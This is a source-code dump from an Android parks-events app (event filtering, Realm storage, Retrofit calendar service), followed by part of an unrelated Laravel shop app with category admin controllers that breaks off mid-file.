mEventRecyclerView = (RecyclerView) rootView.findViewById(R.id.event_list_recycler_view);
mEventRecyclerView.setAdapter(mAdapter);
// mDatabaseReference.child("events").addValueEventListener(new ValueEventListener() {
// @Override
// public void onDataChange(DataSnapshot dataSnapshot) {
// mEventList = new ArrayList<>();
// for(DataSnapshot ds : dataSnapshot.getChildren()) {
// Log.d("Event", ds.getValue(Event.class).toString());
// mEventList.add(ds.getValue(Event.class));
// mEventRecyclerView.setAdapter(new EventListAdapter(mEventList, getActivity()));
// }
// }
//
// @Override
// public void onCancelled(DatabaseError databaseError) {
//
// }
// });
return rootView;
}
public void updateEvents() {
if (!pendingFilter) {
mEventList = mRealmReader.getEvents();
if (isVisible()) {
mAdapter.setEventList(mEventList);
}
}
if (isVisible()) {
executePendingFilter();
executePendingSearch();
mAdapter.notifyDataSetChanged();
}
}
public void updateDistance(Location location) {
mLocation = location;
if (mAdapter != null && isVisible()) {
mAdapter.updateDistance(location);
}
}
public RecyclerView getEventRecyclerView() {
return mEventRecyclerView;
}
public void setData(List<Event> eventList) {
this.mEventList = eventList;
}
private void setupToolbar() {
Toolbar toolbar = (Toolbar) rootView.findViewById(R.id.toolbar);
((AppCompatActivity) getActivity()).setSupportActionBar(toolbar);
}
@Override
public void onDestroyView() {
super.onDestroyView();
if (mRealmReader != null) {
mRealmReader.close();
}
}
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
if (requestCode == REQUEST_FILTER) {
switch (resultCode) {
case RESULT_FILTER:
Log.d(TAG, "Filter initiated");
long startDate = -1;
long endDate = -1;
if (data.getLongExtra("START_DATE", 0) != 0) {
startDate = data.getLongExtra("START_DATE", 0);
}
if (data.getLongExtra("END_DATE", 0) != 0) {
endDate = data.getLongExtra("END_DATE", 0);
}
String location = data.getStringExtra("LOCATION");
int distance = data.getIntExtra("DISTANCE", -1);
boolean isReoccurring = data.getBooleanExtra("REOCCURRING", false);
SearchUtil.setFilterCriteria(getContext(), new EventFilter(location, startDate, endDate, distance, isReoccurring));
break;
case RESULT_RESET:
SearchUtil.setFilterCriteria(getContext(), new EventFilter(null, -1, -1, -1, false));
Log.d(TAG, "Filter reset");
break;
}
}
}
public void filterEvents(EventFilter filterOptions) {
eventFilterSubscription = Observable.from(mRealmReader.getEvents()).filter(event -> {
boolean afterStartDate = true;
boolean beforeEndDate = true;
boolean isLocation = true;
boolean withinDistance = true;
boolean isReoccurring = true;
if (filterOptions.getStartDate() != -1) {
long tempEventStartDate = DateUtils.truncate(event.getStartDate(), Calendar.DAY_OF_MONTH).getTime();
long tempFilterStartDate = DateUtils.truncate(new Date(filterOptions.getStartDate()), Calendar.DAY_OF_MONTH).getTime();
afterStartDate = tempEventStartDate >= tempFilterStartDate;
}
if (filterOptions.getEndDate() != -1) {
long tempEventEndDate = DateUtils.truncate(event.getEndDate(), Calendar.DAY_OF_MONTH).getTime();
long tempFilterEndDate = DateUtils.truncate(new Date(filterOptions.getEndDate()), Calendar.DAY_OF_MONTH).getTime();
beforeEndDate = tempEventEndDate <= tempFilterEndDate;
}
if (event.getLocationName() != null && filterOptions.getLocation() != null) {
isLocation = event.getLocationName().equalsIgnoreCase(filterOptions.getLocation()) || filterOptions.getLocation().equalsIgnoreCase("All");
}
if (mLocation != null && filterOptions.getDistance() > -1) {
int eventDistance = getDistance(event);
withinDistance = eventDistance <= filterOptions.getDistance();
}
if (filterOptions.isReoccurring()) {
isReoccurring = event.isReoccurring() == filterOptions.isReoccurring();
}
return isLocation && afterStartDate && beforeEndDate && withinDistance && isReoccurring;
}).toList().subscribe(filteredEvents -> {
mEventList = filteredEvents;
for (Event e : filteredEvents) {
Log.d(TAG, e.toString());
}
mAdapter.setEventList(mEventList, false);
});
Log.d(TAG, "Filtered events");
}
public int getDistance(Event event) {
Location eventLocation = new Location("event");
eventLocation.setLatitude(event.getLat());
eventLocation.setLongitude(event.getLon());
return (int) (mLocation.distanceTo(eventLocation) / (float) 1609.344);
}
public void filterEventsByName(String name) {
if (name != null) {
eventsByName = rx.Observable.from(mEventList)
.filter(event -> event.getTitle().toLowerCase()
.contains(name.toLowerCase()))
.toList()
.subscribe(filteredEvents -> {
mAdapter.setEventList(filteredEvents);
});
}
}
private void executePendingFilter() {
EventFilter filter = SearchUtil.getFilterCriteria(getContext());
Log.d(TAG, "Pending filter " + filter.toString());
filterEvents(filter);
}
private void executePendingSearch() {
String query = SearchUtil.getSearchQuery(getContext());
Log.d(TAG, "PendingSearch: " + query);
filterEventsByName(query);
}
@Override
public void onStop() {
super.onStop();
if (eventFilterSubscription != null && !eventFilterSubscription.isUnsubscribed()) {
eventFilterSubscription.unsubscribe();
}
}
@Override
public void onAttach(Context context) {
super.onAttach(context);
if (context instanceof EventFilterListener) {
mEventFilterListener = (EventFilterListener) context;
} else {
throw new RuntimeException(context.toString()
+ " must implement EventFilterListener");
}
}
@Override
public void onDetach() {
super.onDetach();
mEventFilterListener = null;
}
}
<file_sep>/app/src/main/java/edu/uwp/appfactory/eventsmanagement/model/EventFilter.java
package edu.uwp.appfactory.eventsmanagement.model;
/**
* Created by dakota on 6/16/17.
*/
public class EventFilter {
private String location;
private long startDate;
private long endDate;
private int distance;
private boolean isReoccurring;
public EventFilter(String organization, long startDate, long endDate, int distance, boolean isReoccurring) {
this.location = organization;
this.startDate = startDate;
this.endDate = endDate;
this.distance = distance;
this.isReoccurring = isReoccurring;
}
public String getLocation() {
return location;
}
public Long getStartDate() {
return startDate;
}
public Long getEndDate() {
return endDate;
}
public boolean isReoccurring() {
return isReoccurring;
}
public int getDistance() {
return distance;
}
}
<file_sep>/app/src/main/java/edu/uwp/appfactory/eventsmanagement/Components/DetailItemView.java
package edu.uwp.appfactory.eventsmanagement.Components;
import android.content.Context;
import android.content.res.TypedArray;
import android.graphics.drawable.Drawable;
import android.util.AttributeSet;
import android.view.View;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
import android.widget.TextView;
import java.util.HashMap;
import java.util.Map;
import edu.uwp.appfactory.eventsmanagement.R;
/**
* Created by hanh on 3/27/17.
*/
public class DetailItemView extends RelativeLayout {
private final static int TYPE_TEXT = 0;
private final static int TYPE_VIDEO = 1;
private final static int TYPE_SCHEDULE = 2;
private Context context;
View rootView;
TextView titleView;
ImageView iconView;
LinearLayout contentContainerView;
View contentView;
private String title;
private int type = TYPE_TEXT;
private Drawable icon;
public DetailItemView(Context context, AttributeSet attrs) {
super(context, attrs);
init(context,attrs);
}
public DetailItemView(Context context, AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
init(context,attrs);
}
public void setContent(Object content){
switch (type){
case TYPE_TEXT:
setTextContent((String) content);
break;
case TYPE_SCHEDULE:
if (content instanceof String) {
setSchedule((String) content);
} else if (content instanceof HashMap) {
setSchedule((HashMap<String,String>) content);
}
break;
case TYPE_VIDEO:
break;
}
}
private void init(Context context,AttributeSet attrs){
rootView = inflate(context, R.layout.view_item_detail, this);
titleView = (TextView)rootView.findViewById(R.id.title);
iconView = (ImageView)rootView.findViewById(R.id.icon);
contentContainerView = (LinearLayout) rootView.findViewById(R.id.content);
this.context = context;
TypedArray a = context.obtainStyledAttributes(attrs, R.styleable.DetailItemView, 0, 0);
title = a.getString(R.styleable.DetailItemView_title);
icon = a.getDrawable(R.styleable.DetailItemView_header_icon);
type = a.getInt(R.styleable.DetailItemView_type,TYPE_TEXT);
a.recycle();
if (icon!=null){
iconView.setBackground(icon);
}
titleView.setText(title);
switch (type){
case TYPE_TEXT:
contentView = inflate(context,R.layout.detail_content_text,null);
break;
case TYPE_VIDEO:
contentView = inflate(context,R.layout.detail_content_video,null);
break;
}
if(contentView!=null){
contentContainerView.addView(contentView);
}
}
public void setTitle(String title) {
titleView.setText(title);
}
public void setTextContent(String textContent){
TextView textView = (TextView)contentView.findViewById(R.id.content_text);
textView.setText(textContent);
}
public void setSchedule(HashMap<String,String> schedules){
for (Map.Entry<String, String> entry : schedules.entrySet()) {
String key = entry.getKey();
String value = entry.getValue();
View scheduleItem = inflate(context,R.layout.detail_content_schedule_item,null);
TextView time = (TextView)scheduleItem.findViewById(R.id.time);
TextView description = (TextView)scheduleItem.findViewById(R.id.description);
time.setText(key);
description.setText(value);
contentContainerView.addView(scheduleItem);
}
}
public void setSchedule(String contents) {
View scheduleItem = inflate(context,R.layout.detail_content_schedule_item,null);
TextView time = (TextView)scheduleItem.findViewById(R.id.time);
TextView description = (TextView)scheduleItem.findViewById(R.id.description);
time.setVisibility(View.GONE);
description.setText(contents);
contentContainerView.addView(scheduleItem);
}
}
<file_sep>/app/src/main/java/edu/uwp/appfactory/eventsmanagement/network/EventService.java
package edu.uwp.appfactory.eventsmanagement.network;
import edu.uwp.appfactory.eventsmanagement.model.CalendarAPI.Calendar;
import edu.uwp.appfactory.eventsmanagement.model.CalendarAPI.Item;
import retrofit2.Call;
import retrofit2.http.GET;
import retrofit2.http.Path;
import retrofit2.http.Query;
/**
* Created by dakota on 6/8/17.
*/
public interface EventService {
@GET("events")
Call<Calendar> getEvents(@Query("timeMin") String dateTime, @Query("singleEvents") Boolean isSingle);
@GET("events/{eventId}")
Call<Item> getEvent(@Path("eventId") String eventId);
}
<file_sep>/app/src/main/java/edu/uwp/appfactory/eventsmanagement/Components/ImageSlider/ImageSliderFragment.java
package edu.uwp.appfactory.eventsmanagement.Components.ImageSlider;
import android.net.Uri;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v4.app.Fragment;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import com.bumptech.glide.Glide;
import edu.uwp.appfactory.eventsmanagement.R;
/**
* Created by hanh on 3/27/17.
*/
public class ImageSliderFragment extends Fragment {
private View rootView;
private String image;
public void setImage(String image) {
this.image = image;
}
@Override
public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
rootView = inflater.inflate(R.layout.fragment_image_slider,container,false);
ImageView imageView = (ImageView)rootView.findViewById(R.id.image) ;
Glide.with(this).load(Uri.parse("file:///android_asset/images/"+image)).centerCrop().into(imageView);
return rootView;
}
}
<file_sep>/app/src/kenoshaPark/java/edu/uwp/appfactory/eventsmanagement/filter/FilterActivity.java
package edu.uwp.appfactory.eventsmanagement.filter;
import android.app.DatePickerDialog;
import android.content.Intent;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.DatePicker;
import android.widget.LinearLayout;
import android.widget.RadioButton;
import android.widget.SeekBar;
import android.widget.Spinner;
import android.widget.TextView;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Date;
import java.util.GregorianCalendar;
import edu.uwp.appfactory.eventsmanagement.R;
import edu.uwp.appfactory.eventsmanagement.model.EventFilter;
import edu.uwp.appfactory.eventsmanagement.util.DateUtils;
import edu.uwp.appfactory.eventsmanagement.util.SearchUtil;
import info.hoang8f.android.segmented.SegmentedGroup;
import static edu.uwp.appfactory.eventsmanagement.EventListScreen.EventListFragment.RESULT_FILTER;
import static edu.uwp.appfactory.eventsmanagement.EventListScreen.EventListFragment.RESULT_RESET;
/**
* Created by dakota on 4/16/17.
*/
public class FilterActivity extends AppCompatActivity {
private SegmentedGroup mParkPicker;
private SegmentedGroup mAreaPicker;
private SeekBar mDistanceSlider;
private SeekBar mPriceSlider;
private CheckBox mReoccurringCheckbox;
private TextView mStartDateTextView;
private TextView mEndDateTextView;
//private TextView mAgeGroupTextView;
private TextView mDistanceMaxTextView;
private TextView mPriceMaxTextView;
private LinearLayout mStartDateLayout;
private LinearLayout mEndDateLayout;
private Spinner mAgeGroupSpinner;
private Button mResetButton;
private Button mCancelButton;
private Button mApplyButton;
private String mAgeGroup;
private Date mStartDate;
private Date mEndDate;
private EventFilter filter;
//Result codes for start activity on result
private final DatePickerDialog.OnDateSetListener mStartDateListener = new DatePickerDialog.OnDateSetListener() {
@Override
public void onDateSet(DatePicker view, int year, int month, int dayOfMonth) {
Calendar c = new GregorianCalendar();
c.set(Calendar.YEAR, year);
c.set(Calendar.MONTH, month);
c.set(Calendar.DAY_OF_MONTH, dayOfMonth);
mStartDate = c.getTime();
mStartDateTextView.setText(DateUtils.formatDateForFilter(mStartDate));
}
};
private final DatePickerDialog.OnDateSetListener mEndDateListener = new DatePickerDialog.OnDateSetListener() {
@Override
public void onDateSet(DatePicker view, int year, int month, int dayOfMonth) {
Calendar c = new GregorianCalendar();
c.set(Calendar.YEAR, year);
c.set(Calendar.MONTH, month);
c.set(Calendar.DAY_OF_MONTH, dayOfMonth);
mEndDate = c.getTime();
mEndDateTextView.setText(DateUtils.formatDateForFilter(mEndDate));
}
};
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.fragment_filter);
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
filter = SearchUtil.getFilterCriteria(this);
setupDistanceSlider();
setupSegmentedPicker();
setupDatePickers();
//setupAgeGroupSpinner();
setupReoccurringCheckbox();
setupButtons();
}
private void setupReoccurringCheckbox() {
mReoccurringCheckbox = (CheckBox) findViewById(R.id.reoccurring_checkbox);
mReoccurringCheckbox.setChecked(filter.isReoccurring());
}
private void setupSegmentedPicker() {
mParkPicker = (SegmentedGroup) findViewById(R.id.park_picker);
if (filter.getLocation() != null) {
switch (filter.getLocation()) {
case "Lincoln Park":
mParkPicker.check(R.id.lincoln_button);
break;
case "Hobbs Park":
mParkPicker.check(R.id.hobbs_button);
break;
case "Roosevelt Park":
mParkPicker.check(R.id.roosevelt_button);
break;
default:
mParkPicker.check(R.id.all_park_button);
}
} else {
mParkPicker.check(R.id.all_park_button);
}
}
private void setupDistanceSlider() {
//Set to 50 for now
final int maxValue = 50;
mDistanceSlider = (SeekBar) findViewById(R.id.distance_slider);
mDistanceMaxTextView = (TextView) findViewById(R.id.distance_slider_max_label);
mDistanceSlider.setMax(maxValue);
if (filter.getDistance() > -1) {
mDistanceSlider.setProgress(filter.getDistance());
if (filter.getDistance() == maxValue) {
mDistanceMaxTextView.setText("< " + Integer.toString(maxValue) + "mi");
} else {
mDistanceMaxTextView.setText(Integer.toString(filter.getDistance()) + " mi");
}
} else
{
mDistanceSlider.setProgress(0);
}
mDistanceSlider.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
@Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
if (progress == maxValue) {
mDistanceMaxTextView.setText("< " + Integer.toString(maxValue) + "mi");
} else {
mDistanceMaxTextView.setText(Integer.toString(progress) + " mi");
}
}
@Override
public void onStartTrackingTouch(SeekBar seekBar) {
}
@Override
public void onStopTrackingTouch(SeekBar seekBar) {
}
});
}
private void setupDatePickers() {
final Calendar currentDate = new GregorianCalendar();
currentDate.setTime(new Date());
mStartDateLayout = (LinearLayout) findViewById(R.id.start_date_layout);
mEndDateLayout = (LinearLayout) findViewById(R.id.end_date_layout);
mStartDateTextView = (TextView) findViewById(R.id.start_date_label);
mEndDateTextView = (TextView) findViewById(R.id.end_date_value);
if (filter.getStartDate() > -1) {
mStartDate = new Date(filter.getStartDate());
} else {
mStartDate = null;
}
if (filter.getEndDate() > -1) {
mEndDate = new Date(filter.getEndDate());
} else {
mEndDate = null;
}
mStartDateTextView.setText(DateUtils.formatDateForFilter(mStartDate));
mEndDateTextView.setText(DateUtils.formatDateForFilter(mEndDate));
mStartDateLayout.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
DatePickerDialog startPicker = new DatePickerDialog(FilterActivity.this, mStartDateListener,
currentDate.get(Calendar.YEAR), currentDate.get(Calendar.MONTH), currentDate.get(Calendar.DAY_OF_MONTH));
startPicker.show();
}
});
mEndDateLayout.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
DatePickerDialog endPicker = new DatePickerDialog(FilterActivity.this, mEndDateListener,
currentDate.get(Calendar.YEAR), currentDate.get(Calendar.MONTH), currentDate.get(Calendar.DAY_OF_MONTH));
endPicker.show();
}
});
}
private void setupAgeGroupSpinner() {
mAgeGroupSpinner = (Spinner) findViewById(R.id.age_group_value);
ArrayList<String> options = new ArrayList<>();
options.add("Everyone");
options.add("Toddler");
options.add("Preschool");
options.add("Youth");
options.add("Family");
options.add("Teen");
options.add("Adult");
options.add("Senior");
ArrayAdapter<String> optionsAdapter = new ArrayAdapter<>(this, R.layout.filter_spinner, R.id.age_group_spinner_value, options);
optionsAdapter.setDropDownViewResource(R.layout.filter_spinner);
mAgeGroupSpinner.setAdapter(optionsAdapter);
mAgeGroupSpinner.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
@Override
public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
mAgeGroup = parent.getItemAtPosition(position).toString();
}
@Override
public void onNothingSelected(AdapterView<?> parent) {
}
});
mAgeGroupSpinner.setSelection(0);
mAgeGroup = options.get(0);
}
private void resetFilter() {
mReoccurringCheckbox.setChecked(false);
//mAgeGroupSpinner.setSelection(0);
//mAgeGroup = mAgeGroupSpinner.getSelectedItem().toString();
mStartDate = null;
mEndDate = null;
mStartDateTextView.setText(DateUtils.formatDateForFilter(mStartDate));
mEndDateTextView.setText(DateUtils.formatDateForFilter(mEndDate));
mDistanceSlider.setProgress(0);
//mPriceSlider.setProgress(0);
mParkPicker.check(R.id.all_park_button);
//mAreaPicker.check(R.id.all_area_button);
setResult(RESULT_RESET);
}
private void setupButtons(){
mResetButton = (Button) findViewById(R.id.filter_reset_button);
mResetButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
resetFilter();
}
});
mCancelButton = (Button) findViewById(R.id.filter_cancel_button);
mCancelButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
finish();
}
});
mApplyButton = (Button) findViewById(R.id.filter_apply_button);
mApplyButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent data = new Intent();
data.putExtra("LOCATION", ((RadioButton) findViewById(mParkPicker.getCheckedRadioButtonId())).getText());
if (mDistanceSlider.getProgress() != 0) {
data.putExtra("DISTANCE", mDistanceSlider.getProgress());
}
//data.putExtra("PRICE", mPriceSlider.getProgress());
//data.putExtra("AGE_GROUP", mAgeGroup);
data.putExtra("FREE", mReoccurringCheckbox.isChecked());
if (mStartDate != null) {
data.putExtra("START_DATE", mStartDate.getTime());
}
if (mEndDate != null) {
data.putExtra("END_DATE", mEndDate.getTime());
}
data.putExtra("REOCCURRING", mReoccurringCheckbox.isChecked());
setResult(RESULT_FILTER, data);
finish();
}
});
}
}
<file_sep>/app/src/main/java/edu/uwp/appfactory/eventsmanagement/Components/LocationSnippetFragment.java
package edu.uwp.appfactory.eventsmanagement.Components;
import android.os.Bundle;
import com.google.android.gms.maps.CameraUpdate;
import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.OnMapReadyCallback;
import com.google.android.gms.maps.SupportMapFragment;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.MarkerOptions;
/**
* Created by hanh on 3/28/17.
*/
public class LocationSnippetFragment extends SupportMapFragment implements OnMapReadyCallback {
private LatLng coordinate;
private final static float ZOOM = 15;
public void setCoordinate(LatLng coordinate) {
this.coordinate = coordinate;
}
@Override
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
getMapAsync(this);
}
@Override
public void onMapReady(GoogleMap googleMap) {
googleMap.addMarker(new MarkerOptions().position(coordinate));
CameraUpdate center = CameraUpdateFactory.newLatLngZoom(coordinate,ZOOM);
googleMap.moveCamera(center);
//googleMap.getUiSettings().setZoomGesturesEnabled(false);
googleMap.getUiSettings().setAllGesturesEnabled(false);
}
}
<file_sep>/app/src/main/java/edu/uwp/appfactory/eventsmanagement/util/RealmControllers/RealmUpdater.java
package edu.uwp.appfactory.eventsmanagement.util.RealmControllers;
import android.content.Context;
import android.support.annotation.NonNull;
import android.util.Log;
import android.widget.Toast;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import edu.uwp.appfactory.eventsmanagement.model.CalendarAPI.Calendar;
import edu.uwp.appfactory.eventsmanagement.model.CalendarAPI.Item;
import edu.uwp.appfactory.eventsmanagement.model.Realm.Event;
import edu.uwp.appfactory.eventsmanagement.network.EventService;
import edu.uwp.appfactory.eventsmanagement.network.RetrofitClient;
import io.realm.Realm;
import io.realm.RealmResults;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;
/**
* Created by Jeremiah on 6/11/17.
*/
public class RealmUpdater {
private static final String TAG = "RealmWriter";
private static SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ssZ", Locale.getDefault());
private Realm realm;
private Context context;
private int requestNumber;
private Map<String, Event> events;
private Map<String, String> baseURLs;
private RealmUpdateCallback callback;
public RealmUpdater(Map<String, String> baseURLs, Context context, RealmUpdateCallback callback) {
this.realm = Realm.getDefaultInstance();
this.context = context;
this.requestNumber = 0;
this.events = new HashMap<>();
this.baseURLs = baseURLs;
this.callback = callback;
Log.d(TAG, "update started");
updateEvents();
}
public void updateEvents() {
List<String> locations = new LinkedList<>(baseURLs.keySet());
final String location = locations.get(requestNumber++);
String url = baseURLs.get(location);
EventService eventService = RetrofitClient.getClient(url).create(EventService.class);
Call<Calendar> call = eventService.getEvents(dateFormat.format(new Date()), true);
call.enqueue(new Callback<Calendar>() {
@Override
public void onResponse(@NonNull Call<Calendar> call, @NonNull Response<Calendar> response) {
Calendar calendar = response.body();
if (calendar != null) {
createEvents(location, calendar);
if (requestNumber == baseURLs.size()) {
updateRealmEvents();
deleteMissingEventIds();
Log.d(TAG, "update complete");
close();
callback.updateComplete();
} else {
updateEvents();
}
}
}
@Override
public void onFailure(@NonNull Call<Calendar> call, @NonNull Throwable t) {
Toast.makeText(context, "Connect to the internet for the latest event information.", Toast.LENGTH_LONG).show();
Log.e(TAG,"update failed");
close();
}
});
}
private synchronized void createEvents(String location, Calendar calendar) {
List<Item> items = calendar.getItems();
for (Item item : items) {
try {
Event event = new Event(context, location, item);
events.put(item.getId(), event);
} catch (NullPointerException | ParseException e) {
Log.e(TAG, item.toString());
Log.e(TAG, e.getMessage());
}
}
}
private synchronized void updateRealmEvents() {
realm.executeTransaction(realm -> realm.copyToRealmOrUpdate(events.values()));
}
private synchronized void deleteMissingEventIds() {
String[] objectKeys = events.keySet().toArray(new String[events.keySet().size()]);
final RealmResults<Event> deleteObjects;
if (objectKeys.length > 0) {
deleteObjects = realm.where(Event.class).not().in("id", objectKeys).findAll();
} else {
deleteObjects = realm.where(Event.class).findAll();
}
Log.d(TAG, "Removing: " + deleteObjects.toString());
realm.executeTransaction(new Realm.Transaction() {
@Override
public void execute(Realm realm) {
deleteObjects.deleteAllFromRealm();
}
});
}
public void close() {
if (realm != null) {
realm.close();
}
realm = null;
}
public interface RealmUpdateCallback {
void updateComplete();
}
}
<file_sep>/app/src/kenoshaPark/java/edu/uwp/appfactory/eventsmanagement/home/eventCard/FragmentEventCard.java
package edu.uwp.appfactory.eventsmanagement.home.eventCard;
import android.databinding.DataBindingUtil;
import android.location.Location;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v4.app.Fragment;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import edu.uwp.appfactory.eventsmanagement.R;
import edu.uwp.appfactory.eventsmanagement.databinding.ItemEventHomeBinding;
import edu.uwp.appfactory.eventsmanagement.model.Realm.Event;
import edu.uwp.appfactory.eventsmanagement.util.RealmControllers.RealmReader;
import edu.uwp.appfactory.eventsmanagement.viewmodel.EventItemViewModel;
/**
* Created by dakota on 4/27/17.
*/
public class FragmentEventCard extends Fragment {
RealmReader mRealmReader;
EventItemViewModel mEventItemViewModel;
ItemEventHomeBinding binding;
Location mLocation;
@Nullable
@Override
public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
mRealmReader = new RealmReader();
Event event = mRealmReader.getEvent(getArguments().getString("ID"));
binding = DataBindingUtil.inflate(inflater, R.layout.item_event_home, container, false);
mEventItemViewModel = new EventItemViewModel(getContext(), event);
mEventItemViewModel.setLocation(mLocation);
binding.setEvent(mEventItemViewModel);
return binding.getRoot();
}
@Override
public void onDestroyView() {
super.onDestroyView();
if (mRealmReader != null) {
mRealmReader.close();
}
}
public void setLocation(Location location) {
mLocation = location;
if (mEventItemViewModel != null) {
mEventItemViewModel.setLocation(location);
}
}
}
<file_sep>/app/src/main/java/edu/uwp/appfactory/eventsmanagement/model/CalendarAPI/Attachment.java
package edu.uwp.appfactory.eventsmanagement.model.CalendarAPI;
import com.google.gson.annotations.Expose;
import com.google.gson.annotations.SerializedName;
/**
* Created by Jeremiah on 6/11/17.
*/
public class Attachment {
@SerializedName("fileUrl")
@Expose
private String fileUrl;
@SerializedName("title")
@Expose
private String title;
@SerializedName("iconLink")
@Expose
private String iconLink;
@SerializedName("fileId")
@Expose
private String fileId;
public String getFileUrl() {
return fileUrl;
}
public void setFileUrl(String fileUrl) {
this.fileUrl = fileUrl;
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public String getIconLink() {
return iconLink;
}
public void setIconLink(String iconLink) {
this.iconLink = iconLink;
}
public String getFileId() {
return fileId;
}
public void setFileId(String fileId) {
this.fileId = fileId;
}
@Override
public String toString() {
return "Attachment{" +
"fileUrl='" + fileUrl + '\'' +
", title='" + title + '\'' +
", iconLink='" + iconLink + '\'' +
", fileId='" + fileId + '\'' +
'}';
}
}
| 6d27554411e46af9a0d083520f5dae24ac4a2347 | [
"Markdown",
"Java"
] | 17 | Java | dakotajd/Kenosha-Parks | 2d716ee854dea5c60e0af9fbc0215ae2161789b9 | 20ae4ffd213a68e176a9fbeefb03dc3211a72ba0 |
refs/heads/master | <repo_name>marcadev-fc/lab-bulma-components<file_sep>/src/signup/Signup.js
import React from "react";
const Signup = () => {
return (
<div className="Singup">
<NavBar/>
<FormField/>
<CoolButton/>
</div>
)};<file_sep>/src/App.js
import React from 'react';
import 'bulma/css/bulma.css';
import NavBar from '../src/navbar/Navbar'
import FormField from '../src/formField/FormField'
import CoolButton from '../src/CoolButton/CoolButton'
import Signup from '../src/signup/Signup'
import Container from '../src/container/Container'
const App = () => {
return (
<div className="App">
<NavBar/>
<FormField/>
{/* <CoolButton/> */}
<Container/>
</div>
)};
export default App;<file_sep>/src/CoolButton/CoolButton.js
import React from "react";
function CoolButton(props) {
let finalClass = "button " + props.className; // "toto tata"
if (props.isSmall) {
finalClass += " is-small";
}
if (props.isDanger) {
finalClass += " is-danger";
}
if (props.isSuccess) {
finalClass += " is-success";
}
if (props.isRounded) {
finalClass += " is-rounded"
}
return (
<div>
<button className={finalClass}>Signup</button>
</div>
);
}
export default CoolButton;
| 9f6ea23043c420aa19ece2f8ffd1ad088c00cd69 | [
"JavaScript"
] | 3 | JavaScript | marcadev-fc/lab-bulma-components | 3bf774c2adcf5a8a1f87def89254781b67dc716a | a09ffa2cc5134a5f70e0533012cfba3e67cbb921 |
refs/heads/master | <repo_name>joubits/app-shop<file_sep>/app/Http/Controllers/TestController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Category;
class TestController extends Controller
{
public function home()
{
//has() se usa para cuando se quiere obtener categorias q tienen al menos un producto...
$categories = Category::has('products')->get();
return view('welcome')->with(compact('categories'));
//return 'Desde el controlador TestController con el metodo home!!';
}
}
<file_sep>/app/Http/Controllers/Admin/CategoryController.php
<?php
namespace App\Http\Controllers\Admin;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\Category;
use File;
class CategoryController extends Controller
{
public function index()
{
$categories = Category::orderBy('name')->paginate(5);
return view('admin.categories.index')->with(compact('categories'));
}
public function create(Request $request)
{
return view('admin.categories.create');
}
public function store(Request $request)
{
$this->validate($request, Category::$rules, Category::$messages);
//registrar en bd
$category = Category::create($request->only('name','description'));
if($request->hasFile('image'))
{
# guardar img categoria en nuestro proyecto
$file = $request->file('image');
$path = public_path().'/images/categories';
$filename = uniqid() .'-'. $file->getClientOriginalName();
$moved = $file->move($path,$filename);
# update category
if($moved){
$category->image = $filename;
$category->save();
}
}
$notification = 'Categoria creada exitosamente';
return redirect('/admin/categories')->with(compact('notification'));
}
public function edit(Category $category)
{
return view('admin.categories.edit')->with(compact('category'));
}
public function update(Request $request, Category $category)
{
//validar datos
$this->validate($request, Category::$rules, Category::$messages);
//update en bd
$category->update($request->only('name','description')); //mass assigment
// $category = Category::find($id);
// $category->name = $request->input('name');
// $category->description = $request->input('description');
if($request->hasFile('image'))
{
# guardar img categoria en nuestro proyecto
$file = $request->file('image');
$path = public_path().'/images/categories';
$filename = uniqid() .'-'. $file->getClientOriginalName();
$moved = $file->move($path,$filename);
# update category
if($moved){
//se elimina imagen anterior...
$previous_path = $path . '/'. $category->image;
$category->image = $filename;
$saved = $category->save();
if($saved)
File::delete($previous_path);
}
}
// $category->save();
$notification = 'Categoria actualizada exitosamente';
return redirect('/admin/categories')->with(compact('notification'));
}
public function destroy(Category $category)
{
$category->delete();
$notification = 'Categoria eliminada correctamente';
return redirect('/admin/categories')->with(compact('notification'));
}
}
<file_sep>/app/Category.php
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Category extends Model
{
public static $messages = [
'name.required' => 'El nombre es un campo obligatorio.',
'name.min' => 'El nombre debe tener al menos 3 caracteres.',
'description.required' => 'La descripcion es requerida.'
];
public static $rules = [
